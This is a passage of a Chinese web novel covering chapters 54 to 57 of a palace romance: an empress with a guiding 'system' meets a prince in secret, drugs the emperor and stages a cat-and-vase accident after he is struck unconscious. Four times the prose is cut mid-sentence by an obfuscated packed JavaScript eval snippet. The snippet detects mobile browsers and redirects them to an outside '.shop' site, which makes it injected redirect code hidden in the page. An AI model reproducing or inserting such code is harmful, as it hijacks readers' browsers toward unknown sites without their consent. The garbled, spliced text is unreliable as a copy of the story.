“娘娘,别走。”萧誉将她拉到自己面前,紧紧地搂住她的腰,呼吸间尽是她身上独有的馨香。 “萧誉,你放肆!”她被他这大胆的举动惊得花容失色,用力地推搡着他的胸膛低喝道。 可他却像是没有听到她的话一般,将她搂得更紧了,他的声音低沉沙哑,“别动。” 脚步声越来越近。 两人都噤了声,不由得屏息。 高出一个头的他低眸再次看着她,眸光复杂难懂。直到脚步声远去,搂住纤纤细腰的手都不曾放开。 “最近我在京中结识了不少人。”他声音暗哑开口道,“并非与二皇子整日花天酒地。” 话落,容蓁稍稍愣了愣神,他是在同她解释? 她抿了抿唇,还是不搭话,却也不再挣扎要走,似是在等他下文。 他这才松开手,看着她的眸底中隐着暗涌,“你该知晓的,我不是那种人。” 说罢,他接过容蓁手中的灯笼,引着人在一丛丛花树中行走。 容蓁虽然没有亲眼看见他与那些王孙公子们相处的样子,却也能想象一二。 她落后两步跟在萧誉侧后,抬头望向少年削瘦的下颏,微抿的薄唇。他性子偏冷,那种觥筹交错、飞鹰走狗的日子,只怕非他所愿。 二人挑了平日无人的御道上沉默地走着。 半晌后,一声轻叹自他身后传来。 不久又闻一声轻柔的询问,“很累吧?”那声音带着连容蓁自己都没意识到的怜惜。 萧誉脚步一顿,随后又若无其事地举步前行。 “累,但是值得。”他声音比之从前更浑厚低沉了些,语声中有着再多风霜也无法摧折的坚定,“从前我也没想过,自己居然也会有如此渴望权势的一天。因为……” 他走在前面,忽然停下脚步。 低着头踩着他踏过的路的容蓁没留神,额头撞在他逐渐宽厚的后背上,朱唇微启低低惊呼一声。她被迫止步,抬手揉了揉磕得有些疼的额头,皱起眉仰头,与转过身来的萧誉四目相对。 四周一片黑暗寂静,只有少年手中的灯笼发出一小团光亮照亮周围几步之遥。可他眼中,却像是有一片星河,正散发出蛊惑的光亮。 容蓁被他的眸光深深地吸引住,手不自觉的攥紧了袖口,躲避开他的视线。 “我……有些渴了。”说着她便绕过萧誉向前走去,脚步略有些急,像是逃离一般,哪里还有平日泰山崩于前而色不变的模样。 萧誉立在原地片刻,唇角翘起个轻微的几乎看不到弧度。心中继续道:只有自身强大,才能护住想守护的人。 - 回到明华殿时月已偏西。 醒来发现容蓁不见的芯红,瞧见她翻窗回到暖阁这才松了口气,担心道:“娘娘今晚出去,为何不唤醒奴婢?” “瞧你睡得香,没忍心叫你。”她笑着答道。 芯红为她脱下身上的衣衫,发现她情绪上的变化,忍不住打趣道:“娘娘可是去见萧世子了?” “嗯,半月未见,倒长高了不少。”她换上松暖的寝衣,眼底笑意未减轻声道。 “娘娘这话,倒像是萧世子还是个孩童一般。”芯红为她将寝衣系好,无奈地笑道。 容蓁望着镜中的自己,抬手抚摸着自己的脸颊,“芯红,你说本宫是不是老了?”明明还是如花娇颜,她却有些不确定起来。 “娘娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201632|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是什么话?”被问之人为她散下如瀑的青丝,透过镜中看着她,嘴稍不满地嘟起道。 她敛下眼睑没应声。 这座天底下最富丽堂皇的宫殿,被天下不知多少人膜拜向往。可在这里呆久了,愈发觉得这金碧辉煌之下,掩藏着的是怎样腐朽破败的气息。 她进宫不过半年,倒像是已经活了半辈子似的。 若再加上前世,她的心似已至花甲之年。 想起今日那真正的青葱少年,她有些怅然。 初见之时,他如狼崽子一样凶狠,如寒潭一般清冷,虽周身戒备疏离却有着少年人特有的锋利与意气。 如今的他,浑身的锋芒几乎收尽,多了些磨炼出的圆融与内敛。 这一夜,她彻底失眠,怔怔的望着窗外的一轮圆月。 而栖云殿中的一人也没有睡意,负手站在窗前,目色比夜色更深沉。 都说宫中地气养人,御花园那一片花林似是最好的证明,连花期都比之其他地方要长上好些。 但更使他心中挂念的,却是御花园中那所遇之人。 而想到方才那人面对他时,不似过往那般打趣他,反而冷漠相待,他心中就如同染了花粉一般被挠着难受。 - 隔日清晨。 萧誉借着二皇子的掩护,堂堂正正出了宫门,随后便将尾巴甩脱,径直去了南疆探子们建立的联络点。 “世子,上次您吩咐要查的楚燕前太子旧事,有些眉目了。” 望月楼茶楼的掌柜也是十多年前潜入南疆的暗探,此时毕恭毕敬地呈上一张密信。 “消息来源可靠么?” 萧誉于上座端坐,修长结实的双腿微分,一手扶于膝上,一手接过那张迷信问道。 “可靠。这是我们在宫里留下时间最长的一枚暗子,还是先皇时期的旧人,这些年为咱们南疆传递了不少消息。”那掌柜的恭声回话道。 在来京城前,南疆在京城的卧底名单自然是都交到了萧誉手中,可他却一次也没有动用。 好棋,一定要一击必杀才有存在的价值! 所以,萧誉即便知道有这样一个人的存在,也从未主动联络过。 他接过那封密信,快速阅览后,将那信揉入掌中只稍稍一震,那张纸很快便成了一堆细如尘埃的碎屑。他张开手心,任由纸屑飞扬飘落,眸光若有所思。 “近期无需联系,让他自己藏好,若是暴露……你晓得怎么做。”萧誉淡声吩咐过后,也无心去管还在酒楼里等他的二皇子,飞身上马便疾驰回了皇宫。 今日无风,日头又暖和,容蓁便叫人搬了几盆盆景,悉心修剪起来。 修剪的“咔嚓”声音不绝于耳,她也不觉得厌烦,直到额头微微出汗才停了手。一对鹞子落在她身旁,似是炫耀般将新捉的老鼠丢在她眼前。 “托你们的福,明华殿如今一只老鼠的影子都瞧不见,这个怕是从其他殿里搜的罢。”说完,她嘉奖般地抬手摸了摸那对鹞子。 “娘娘,府里送东西过来了。”芯红带着几个小宫女捧着东西走了过来,又隐晦的对着容蓁比了个手势。 “知道了,带人把东西送进库房,本宫晚些再去看。” 容蓁一边用帕子擦着额上的汗,一边漫不经心的吩咐道,起身朝芯红走去。 “娘娘,萧世子的信,好像还挺急的。” 55.泡汤 容蓁秀眉微蹙疑惑的目光朝芯红递去,从她袖中接过信笺展信一阅,瞳孔骤然一缩。 萧誉竟然真帮她查到了些线索! 她眸底波澜涌动,将金剪刀交到芯红手中,低声吩咐:“今晚本宫要出去,宫里的事交给你了。” 好不容熬到天色暗下去,她立即换了身方便行动的衣裳,利落地翻墙出了明华殿。 月色遮蔽下,两只鹞子盘旋于高空中,若非耳力灵敏之人难以觉察半分。 她悄然翻进一个看上废弃了很久的宫殿里,这是白日萧誉在心中所写的二人碰面的地点。 才翻墙进去,就注意到墙角早已等着她的人。 她笑着走近,“世子来的倒是挺早。”容蓁压低声音,清澈的眸子在夜色中闪着光。 萧誉微微颔首,递给她一个眼神,示意她过去,“嗯,今晚他会去西宫门。” “走吧。”她压低了身子,朝宫墙的阴影处走去。 他快步跟上,与她并肩潜伏在假山后,等待着猎物的出现。 时间一分一秒地过去,静谧的夜里,只有彼此浅浅的呼吸声。 容蓁忽然感觉到萧誉的目光落在自己身上,带着灼热的温度。 她不动声色地侧过脸,避开他的视线,低声问道:“你一直看着我做什么?” 萧誉喉结微动,声音低沉沙哑,“没什么,只是觉得……你今夜很美。” 这小子,又在撩拨她。 恰好此时,远处传来几声更鼓声,已经快到戌时了,人却还未出现。 容蓁正想开口询问萧誉得的这消息是否有错漏,目光所及之处,一个黑影鬼鬼祟祟地出现宫墙之上。 【系统探测到今晚萧誉会有危险,请宿主做决策需谨慎】 萧誉有危险? 容蓁目光瞬间凝在萧誉身上。 后者正要上前,却被她一把拉住。 “等等,情况不对。”她压低声音,目光锐利地盯着那个黑影。 只见那黑影并没有急着出宫,而是四处张望着,似乎在等人接应。 难不成,这个黑影会让萧誉陷入险地? 正思索着,远处传来一阵急促的鸣锣净道,打破了夜的宁静。 那黑影也在锣声响起的瞬间隐匿起来。 二人同时皱眉,往锣声方向瞧去。 那锣声后跟着一众宫人,八名宫人抬着的辇上坐着的人是——楚绍。 瞧着御辇行进的方向,似乎是……明华殿! 她眉心紧锁,心中暗道一声:不好! 这么晚去明华殿,能有什么好事。她眸色渐沉,好不容易得来的线索,竟要因为他临时起的心思而舍弃掉么?她心中挣扎着,手捏着衣角的指尖都有些发白了,可见是真气狠了。 萧誉顺着她的目光望去,也立即意识到了问题。他侧首看向容蓁,唇紧紧抿起,感受到她的挣扎,他伸手将她捏住衣角的手轻轻握在掌心。 容蓁的手被触碰的那一瞬间,她抬起暗下去的眼眸看向萧誉,眼底的挣扎瞬时带起一丝慌乱,印入那人漆黑的眸底。 只听那人轻声道:“你赶紧回宫吧,这里有我。” 说罢,握着她的手紧了紧,似是让她相信自己。 她目光在萧誉身上凝眸一瞬,若是换做平日她定然信他,转身赶在楚绍之前回到明华殿。 可方才系统的提示音,难不成是在提醒她此时的决定? 她挣扎半晌,似是做出决定,深呼一口气,反握住萧誉的手,拉着就他往明华殿的方向疾走。 要赶在楚绍之前回到明华殿。好在容蓁上辈子没这么收楚绍待见,多的是空闲时间在在这宫里散心,故此对宫中近道十分熟悉。 她一路拉着萧誉抄着最隐蔽的小路在月下行动之快如同鬼魅。 身后被她拉着的人也异常安静,任由她拉着走不曾多话。 当她与萧誉二人翻窗进到明华殿暖阁内时,芯红看着他们两人诧异半晌。 “陛下正往明华殿来,你带萧世子去后殿暂避一下,我去换身衣裳。”说着,容蓁绕过屏风往里走,芯红缓过神来,领着萧誉正欲从侧门出,却听见正殿外通传声音响起。 容蓁换了一套鹅绒宫装出来,青丝只用一根玉簪挽起。她递眼色给芯红,示意芯红领着萧誉暂避在她方才更衣处。芯红立刻会意,带着萧誉往里走去。 那人的目光一瞬不瞬地落在才换了衣衫的人身上,凹凸有致的身段在烛光下若隐若现,一向漆黑的眸底似有按捺不住的火光迸发。 芯红带着萧誉在里屋藏好后,疾步出来深呼吸想将心底的慌张埋藏起,侧目瞧了瞧她家娘娘脸上泰然自若地往凤面纹金卧炉中投了粒香丸进去,心中的那丝慌乱也渐渐平缓消散。 容蓁将手搭在她手背上,似做安抚般拍了拍,侧耳听着殿外的脚步声由远及近,直到暖阁的门被人从外推开。 绿芜掀开厚重的却寒帘进来,一双明晃晃的明黄色厚底毡靴随后踏入殿内,王乾与李德福二人随侍左右也跟着进了殿,看见容蓁站立在屏风前等候,不约而同地跪地请安道:“皇后娘娘金安!” “外边儿天冷,快些将陛下扶到内殿里取取暖。”说着给绿芜递眼色过去,“再请二位公公去喝杯热茶去去寒。” 王乾与李德福被绿芜引出暖阁往偏殿的方向去,暖阁内只余下他们几人。 “陛下今儿怎么得空过来?”容蓁脸上含笑,捧了一杯雪水烹的顾渚紫笋递去询问道。 楚绍接过她手里的茶,一双凤眼凝在她的脸上,好一会才开口道:“有些日子没来,今日事情处理完就想着过来看看。” 说罢,他脸色不悦地皱眉看着她又道:“皇后也不曾来寻朕。” 容蓁闻言面上笑意不减,在对面的暖榻坐下娇嗔他一眼,“陛下心中念着臣妾,自己忍着不来,还怪上臣妾不去寻陛下。”话落,端起一盏顾渚紫笋轻轻抿了一口。 窗外不知何时悄悄飘起雪花来,楚绍朝外看了一眼,心中分辨着这女人如今面对他所言所行,到底是面上佯装起来的模样,还是渐渐为他挪开那个曾装着楚然的位置。 他眼底的薄雾,搭着窗棂上的寒气,就算身处燃着地龙的殿中,还是会让人觉得寒意四起。 楚绍握着茶盏的手指紧了紧,骨节分明的手在烛火下泛着冷白的光。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13214132|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他沉默不语,一双凤眼却直直地盯着容蓁。 容蓁却像是没有察觉到他的目光,依旧保持着得体的微笑,慢条斯理地品着茶。 殿内的气氛一时之间有些凝滞。 “臣妾往后知晓了。”容蓁放下茶盏,敛下眼睑来,语气软和似那香炉之中悠悠升起的袅袅香烟,香软却无法让人轻易拿捏。 里屋萧誉还在,她不愿此时将眼前的人激怒,做出前几次那样的举动来,本就软下去的语气,脸上又带着娇柔,“往后陛下若是想着臣妾了,也可让王公公指了人过来告知臣妾一声,不过麻烦底下人的事,陛下何苦自个儿在这与臣妾置气。” 楚绍收回目光,缓缓移至容蓁身上双眸微微一沉,闷闷道:“皇后真的这样想?” 容蓁眸光一缩,眼睫动了动,知晓以楚绍的心性定然还是疑她,抬眸看向他勾唇笑了笑,“在陛下面前所言,自然句句为真。” 楚绍挑了挑眉,不置可否,却看着她这副滴水不漏的模样,想起她身后的容氏心中莫名烦躁。 他猛地放下手中的茶盏,发出“砰”的一声脆响,在寂静的殿内显得格外突兀。 容蓁却像是被吓到了一般,身子微微一颤,手中的茶盏险些脱手而出。 “陛下恕罪。”她连忙起身请罪,起身间眼眶已泛了红,换上自责的表情,眉间紧紧蹙起低下头来,看着做自己的脚尖道。 楚绍看着她这副柔弱无辜的模样,心中的怒火更盛。 他一把抓住容蓁的手腕,将她拉到自己面前,语气冰冷:“你们全都当朕好骗是么?” 容蓁被他这突如其来的动作吓了一跳,手腕被他捏得生疼,但她却强忍着没有挣扎,只是抬起头,用一种无辜又迷茫的眼神看着他,眼中里打转的泪夺眶而出,“陛下这是何意?臣妾不明白。” 楚绍看着她这副模样,心中的烦躁转为怒火,他猛地低头,朝着她的唇吻去。 意识到眼前人的动作,她迅速撇开头躲过。 滚烫的呼吸喷洒在她耳侧,带着侵略性的气息让她不寒而栗。 她心头一紧,纤细的手指紧紧攥住身侧的锦帕,指尖泛起惨白的颜色,身体不由得往后退去。 迷药怎么还没起效? 正想着,楚绍再次伸手将她拉直怀中紧紧钳制住,然后双手捧着她的脸,强迫地正对着他,瞳色瞬间冒起一层火焰来,吻再次落下,带着不容拒绝的霸道。 千钧一发之际,一道黑影闪过,楚绍闷哼一声,高大的身躯直直地倒了下去,她眼疾手快地侧身避开。 那道黑影收回手,嫌弃地拍了拍衣袖上不存在的灰尘,冷冷地瞥了一眼昏迷在地上的楚绍。 容蓁惊魂未定地抬起头,正对上萧誉那双深邃如墨的眸子。 他逆着烛光俊美无俦的脸上笼罩着一层寒霜,周身散发着冰冷的气息,仿佛来自地狱的修罗。 只被她看了一瞬的眼睛敛下眼睑来,长长的睫毛这盖住他眼底即将爆发出的戾气。 想到前几日,她遭受的可能都是方才的局面,隐在广袖中的拳禁不住紧紧攥起来,心中不知何处隐隐扯得他生疼,眉眼倏地又冷下去几分。 56.补救 容蓁从萧誉的目光中看到了一闪而过的杀意!方才劈向楚绍的手刀,劲风从她耳旁呼过,那一掌确实不轻。 若只想将他劈晕倒也不用那么大的气力,多少带点私怨在里边儿。 她微恼,但心却不合时宜急促地跳动起来。 看着晕倒在地上的楚绍,忽然明白系统提醒的萧誉今晚会有危险是怎么一回事了。 她深吸一口气,先将系统腹诽一顿,随后整个人也冷静下来,垂下眼思索着该如何同楚绍解释。 “娘娘,现下怎么办?”方才被萧誉吓得愣住的芯红,浑身颤抖着手足无措地压低了声音,用只几步内才能听见的声量问道,一双眼睛来回在他们二人之间流转。 萧誉仿佛没有听见一般,攥紧的拳头还在广袖中微微颤抖着,整个人紧绷着,只一双漆黑的眼眸死死地盯着地上躺着的人。 不知是否是下雪的缘故,突然觉得四周的空气瞬间冷了几分,芯红不禁缩了缩脖子打了个冷颤。 “萧世子先从里屋的侧门出去,在后殿等我。”容蓁看向面色寒若冰霜的萧誉,感觉眼前人的性子没变过,只是待她与旁人不同罢了。 她又不蠢笨,谁会日日写信只为逗她开心,挖空心思寻来那么些小玩意儿赠与她,甚至不惜动用暗网为她寻找前太子的线索。 做了这么多,难道仅仅只是因为她是“盟友”? 说罢,她看了他一会,却不见那人有丝毫的反应,眉眼如他的脸色一片冰凉,只一瞬不瞬地盯着地上的人,似乎瞬间就会扑上去一般,就连一旁的芯红也发现了萧誉的反常,忍不住出声道:“萧世子还是先避一避吧。” 仍然毫无反应…… 容蓁黛眉微蹙,拉了拉他垂下来的广袖,放柔了声音更似是在安抚他道:“你先去,一会儿我这边处理完,便去后殿寻你可好?” 话落,这才见他那深不见底的目光缓缓移至容蓁脸上,周身的寒意随之散去,没多余的话抬脚往里屋侧门方向走去。 见萧誉终于离开,芯红才问:“娘娘可想到应对的法子了?” 她点点头吩咐道:“你先去将香炉里的东西都先藏起来,一会儿配合我。” 芯红手脚麻利地清理掉香炉,又打开窗子散去殿内的气味,末了还点燃了一支安神香。 不一会儿,殿内便只余袅袅安神香的味道。 “娘娘,都清理干净了。”芯红压低声音禀报道。 容蓁微微颔首,走到方才楚绍躺着的位置,环顾四周,目光最终落在一只青瓷花瓶上。 这只青瓷花瓶的位置正好在方才楚绍所站位置的后方高处。 她眸光一闪,指尖轻轻拂过瓶身,触感冰凉。芯红立即反应过来,蹲下将楚绍的身子翻转过来,看着容蓁抬起那尊青瓷花瓶对准楚绍的后脑勺砸去,又迅速将他的身子翻转回去。 “砰——”的一声巨响,在寂静的夜里显得格外刺耳。 花瓶应声而碎,碎片四溅。 几乎是同时,一只通体橘色毛发的狸猫从窗外跃入,正好与容蓁四目相对。 “啊——” 容蓁故作惊慌地尖叫一声,踉跄后退,险些跌倒。 听到殿内的动静,守在殿外的宫女太监们立刻推门而入,见皇后整个人如同泄了气般,撑着身后紫檀八仙宝纹顶竖柜才堪堪站稳脚。 “发生何事?!” “娘娘!” 众人一进门,便看到倒在地上昏迷不醒的楚绍,以及摔碎的瓷片和那只受惊的肥胖狸猫,顿时乱作一团。 “快传太医!”有太监立即连滚带爬地朝明华殿外跑去。 “娘娘,您没事吧?”芯红浑身发着抖,趔趄着想去扶起容蓁。 容蓁面上惊魂未定,脸色苍白,嘴唇微微颤抖着,“本宫……本宫没事……快去看看陛下……” “陛下,陛下他……”王乾进门就瞧见倒地不醒的楚绍,声音颤抖地问道:“这……这到底是怎么回事啊?” 众人看向还未从惊吓中缓过神来的容蓁。 “方才,方才这一只狸猫突然从窗外跳进来,撞翻了陛下身后的花瓶,那花瓶正好砸在了陛下的后脑勺上……”容蓁断断续续地解释道,声音中带着崩溃的哭腔。 “狸猫?!” 众人目光顺着容蓁的指尖方向看去,果然见那只狸猫所在位置正好碎掉的青瓷花瓶附近。 一双双炙热的目光引起那只肥硕橘猫的警惕,它纵身一跃一晃眼地功夫翻出窗外,消失在夜色中。 “来人啊!快将那只橘猫捉住,等陛下醒后发落!”李德福反应过来,朝殿外的侍卫吩咐道。 容蓁微蹙的眉紧锁起来,悄悄在心中向方才那只橘猫道歉并祈祷着:抱歉啊!我也是逼不得已,你千万别被捉住了! 绿芜将惊魂未定的容蓁扶着坐起,斟了杯茶来为她压惊。 王乾与李德福二人将楚绍从地上扶起背着来到偏殿,轻轻安置在偏殿的床榻上,这才看到他后脑勺有一长条的伤口,正缓缓往外渗出血来触目惊心。 其他人焦急地等候、祈祷着。终于,一盏茶后沈院判行色匆匆地领着两名太医进殿。 容蓁立即起身,才止住的泪又似要忍不住落下来谁见犹怜。 “快!快瞧瞧陛下。”说罢,那泪就如珍珠般一颗颗落下,心底尽是担忧。 沈院判也来不及行礼,直接走到床榻前,先瞧了瞧后脑勺的伤口,让一同前来的一名太医先帮忙消毒止血,仔细查看楚绍身上再无发现其他外创,这才将手搭在他的脉搏上诊断起来。 不多时,沈院判才起身行礼回话:“回禀娘娘,陛下除了后脑勺的创伤外并无其他大碍。” 听到沈院判的回话,容蓁这才堪堪止住不断往外冒的眼泪,拿起锦帕擦了擦脸,声音依然颤抖地问道:“那陛下何时能醒?” 此时,沈院判面上已没有了方才来时的慌张,从容不迫地回道:“陛下平日身子康健,不超过一个时辰便会醒过来。” “那本宫可需要注意或是准备什么?”她接着问到,脸上焦急的模样,见者都想夸上一句帝后感情甚笃。 沈院判摇摇头道:“微臣即刻为陛下开方制药,药敷于陛下的创口处即可,只需平日照顾陛下的二位公公及时换药,这段日子切莫让伤口沾水,其他注意事项微臣会一并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222166|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写在方子上。” 容蓁颔首,长舒一口气才道:“有劳沈院判与二位太医。” 话落,又吩咐李德福随沈院判一同前去,留下王乾等人照顾楚绍。 “王总管,陛下醒了即刻来通知皇后娘娘,娘娘受了惊吓,我先扶娘娘去暖阁歇歇。”芯红了解她家娘娘的心思,伸手将靠坐在床榻上容蓁扶起来同王乾说道。 后者看了看因受到惊吓面上明显没什么心力的容蓁一眼,弓着身子恭敬道:“娘娘先去喝些热茶,待陛下醒来,奴才立即让人过去通知娘娘。左右不过几步的距离,太医也说了陛下无大碍,请娘娘放宽心。” 芯红感激地向王乾曲了曲膝,扶着容蓁往暖阁的方向走去。 回到暖阁里,已有宫人将方才摔碎的青瓷花瓶碎渣清扫干净。 厚重的却寒帘才落下,容蓁脸上的惊慌、心急眨眼间全都消失不见,眼眸中满是冰寒。 “我去趟后殿。”说着抬步就往里屋的侧门方向走,才走两步,身后响起芯红担忧的声音:“娘娘……” “放心,我很快回。”她知道芯红想说什么截了话道,然后头也不回地推了侧门出去。 后院中流水潺潺,假山矗立,石径小桥,一步一眼皆是景色。 而她此时却无心赏景,也不知道楚绍醒了之后会不会相信方才她的布置与说辞,迈着沉重的步子往院里走,连脚下跟了她一路的小动物们也不曾注意到。 明华殿的后院有四个偏殿,其中两间因整日大部分时间都能受到太阳直晒,遂用来做了小动物栖息的地方,剩余的两间则分别是东、西最里的位置。 她抬眸在院中一扫,目光落在那间房门微启的西偏殿,不假思索地朝那方向走去。 偏殿的房门被她轻轻推开,“萧世子。”她轻声换了一句。 黑暗中无人回应,难道是她走错了? 她微微蹙眉,正打算转身开门离去,身后一只手拉过她的手腕,一把将她拉入怀中,紧紧地搂住。 这怀抱与楚绍的蛮横不同,温暖而有力,顷刻驱散了她心底的寒意,却也让她更加慌乱。 “你疯了!被人发现怎么办?”容蓁挣扎着想要挣脱他禁锢,语气中带着几分焦急。 但身后抱紧她的萧誉却纹丝不动,黑暗之中只是将头埋在她的颈窝,贪婪地呼吸着属于她的气息。 直到现在他都没有从在里屋听到的那阵动静中缓过来,更是在闭眼时就忍不住地在想,只要那人去到她的宫中,她是不是都要遭受到这些。听着她的慌乱、她的无助…… 让他心底不由得生出一阵无力之感,那无力感包裹着他,侵蚀着他。 “别动,就一会儿。”他的声音低沉而沙哑,带着压抑的情愫。 她心头一颤,鬼使神差地放弃了挣扎,任由他抱着。 她能感受到他胸膛的起伏,感受到他强而有力的心跳。炙热的气息落在她的耳垂上,容蓁的心跳骤然加速,脸颊也泛起一抹绯红。 窗外,雪花一片片地飘落,落在窗棂上,融化成晶莹的水珠。 西偏殿内,暧昧的气息在空气中蔓延,交织成一幅旖旎的画卷。 57.怀疑 时间仿佛静止,只有窗外落雪的簌簌声提醒着容蓁此刻并非梦境。 自认识萧誉以来,她从未见他如此过。她的心仿佛被什么东西轻轻地撞了一下,柔软得不像话。 她知道,他今日定是看到了不该看的,听到了不该听的。 他看似清冷孤傲,实则心思比谁都细腻敏感。 她不再挣扎,任由他抱着,感受着他胸膛传来的温度。 心却不可抑制地越跳越快,但绝不是因为害怕,而是一种连她自己也说不清道不明的情绪。 她深吸一口气,压下心中的异样,也感受着背后人情绪的缓解,深舒一口气后,垂下眼睑轻声唤道:“萧世子,你该回栖云轩了。”顿了顿,接着又道:“你放心,我没事。” 萧誉的身形微僵,缓缓松开了她。 黑暗中,她看不清萧誉的神色,却能感受到他周身散发出与平时不一样的气息。若将平日面对她时的萧誉比作那一抹朝阳,现在的他便似酒窖中陈放多年的酒器。 她转过身来,见他正好抬起头。黑暗中,他的目光灼热而深邃。 良久,他沉闷的声音才在黑夜中响起:“你真的没事?” 她闻声轻轻一笑,“我何时骗过萧世子?”她的语气带着一丝调侃,却也带着肯定。 萧誉握住她的手,将她冰凉的指尖包裹在掌心,语气霸道而强势:“不许骗我。” 她的心因着不曾见过他这样霸道的一面而漏跳了一拍,他的眼神太过炙热,让她有些招架不住。 “好,不骗你。”她轻声说道,语气中带着一丝连她自己都没有察觉到的娇柔。 话落,萧誉的嘴角微微才勾起一抹弧度。 黑暗中,他的笑容如昙花一现,却足以照亮整个偏殿。 “你该回去了,若是被人发现,今日之事你我都不会好过。”容蓁轻声提醒道。 萧誉却将她拉近,两人的距离近在咫尺,呼吸交缠。 “你有没有一刻,想过要放弃这一切?”他的声音低沉而沙哑,带着一丝渴望。 容蓁的心猛地一颤,这个问题,她不是没有想过。 可是,她不能。 她背负着家族的使命,她不能任性,更不能逃避。 “萧世子,我们……” “嘘……”萧誉用食指轻轻抵住她的唇,阻止她继续说下去。 “我知道,我都知道。”他的语气温柔而无奈,带着些苦涩。 他何尝不知道,他们之间隔着的是一条无法逾越的鸿沟。 “皇帝应该快醒了,我先回去。”萧誉深深地看了她一眼,不等她回答就转身,消失在黑暗中。 就似他若慢上一瞬,就会听见她嘴里说出的答案。 容蓁站在原地,听着他远去的脚步声,心中五味杂陈。她知道,他们之间,注定只能是镜花水月,一场空。 萧誉离开后,她独自一人又在空旷的西偏殿中站了许久。 夜风从窗棂吹进来,带来一丝凉意,也吹散了她心中残留的温存。 她深呼吸一口气,将翻涌的情绪压下,打开殿门走过后院小径,从偏门回到暖阁内。 暖阁内,灯火通明。 因着不间断的地龙烧着,整个殿内暖暖的,殿外的宫女太监来来往往,脚步匆匆,却都静默无声。 她敛眉,放轻脚步,从里屋往外走,来到软榻间坐下。 芯红见她神色淡然,也就放下心来没再多言。 “皇上醒了!” 一声尖锐的通报声打破了殿内的寂静,也让容蓁的心跳骤然加速。 “回禀皇后娘娘,陛下醒过来了!”一小太监从偏殿方向过来,面上十分欢喜。容蓁抬眉看了那小太监一眼,这个小太监她曾在王乾身边见过几回。 她不动声色地握紧了藏在袖中的手,指尖冰凉,缓缓起身往偏殿去。 偏殿内,楚绍伤处被敷了药,用纱布包裹起。 “皇后,你来了。”楚绍的声音听起来有些虚弱,却依旧威严。 “臣妾参见陛下,皇上万福金安。”容蓁垂首低眉地跪在床边,语气恭敬。 “起来吧。”床榻上的人侧首看着她,眼中带着一丝探究,“你整夜未眠,可是在为朕祈福?” “臣妾担心皇上的龙体,夜不能寐。”容蓁低眉顺眼语气柔顺,且滴水不漏地回答着。 他侧目看向她的目光复杂,让人捉摸不透,良久后才道:“罢了,你起来吧。” “谢陛下。” “朕的头是怎么伤的?”楚绍微微蹙眉,似是努力回忆着什么。 她起身,亲自倒了杯温水递到他唇边,泪水又开始在眼眶中打转,似是想到之前发生的场景,面上十分自责道:“都是臣妾的不是,臣妾被陛下的举动吓到下意识地避开,而未注意到恰巧跳进来的一只橘猫,那猫将陛下身后的花瓶撞倒……遂以陛下是被那花瓶砸伤的。” 楚绍没有接话,低头抿了抿递过来的温水,深邃的眸子紧紧锁住她,语气带着一丝怀疑:“花瓶?” 她垂下眼帘,掩去眸底一闪而过的冷光,语气平静无波:“是,那樽青花瓷瓶,碎片飞溅,这才伤……” “是吗?”楚绍打断她的话,语气听不出喜怒。 他撑着床榻想要坐起,却牵动了伤口,闷哼一声。 在一旁伺候的王乾连忙上前扶住他,语气担忧:“陛下当心龙体。” 容蓁将手中的杯子放下,贴心地往楚绍身后放了两个靠枕,与王乾合力将他扶起身来靠坐着。 正欲坐下的她,却被楚绍顺势握住她的手,力道大得惊人,仿佛要将她纤细的骨骼捏碎。 他目光如炬,直视着她,一字一句道:“朕明明记得,是被人从背后偷袭,才……” 容蓁心头一凛,面上却不动声色,反手握住他的手,柔声中带着点些许的抽泣,“皇上定是记错了,昨晚臣妾一直陪在您身边,并未见到有人……” “是吗?”楚绍冷笑一声,猛地甩开她的手,语气森然,“王乾,你们可有什么发现?” 他锐利的目光扫过她平静的面容,冷声却问王乾。 “陛下,奴才与一众人听见殿内动静后就立即推门进了殿。”听见楚绍冷下去的语气,王乾立即弯下身子垂首答话,“可并未见到有刺客,只有一只肥硕的橘猫,且那只猫与陛下之间确实碎了樽青瓷花瓶。” “噢?这么说,是朕记错了?”楚绍面色依旧寒冷。 “沈院判与二位太医诊断陛下后脑勺的伤口确实是被那碎花瓶所伤,除此之外并无其他外创。”王乾继续答道。 可王乾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 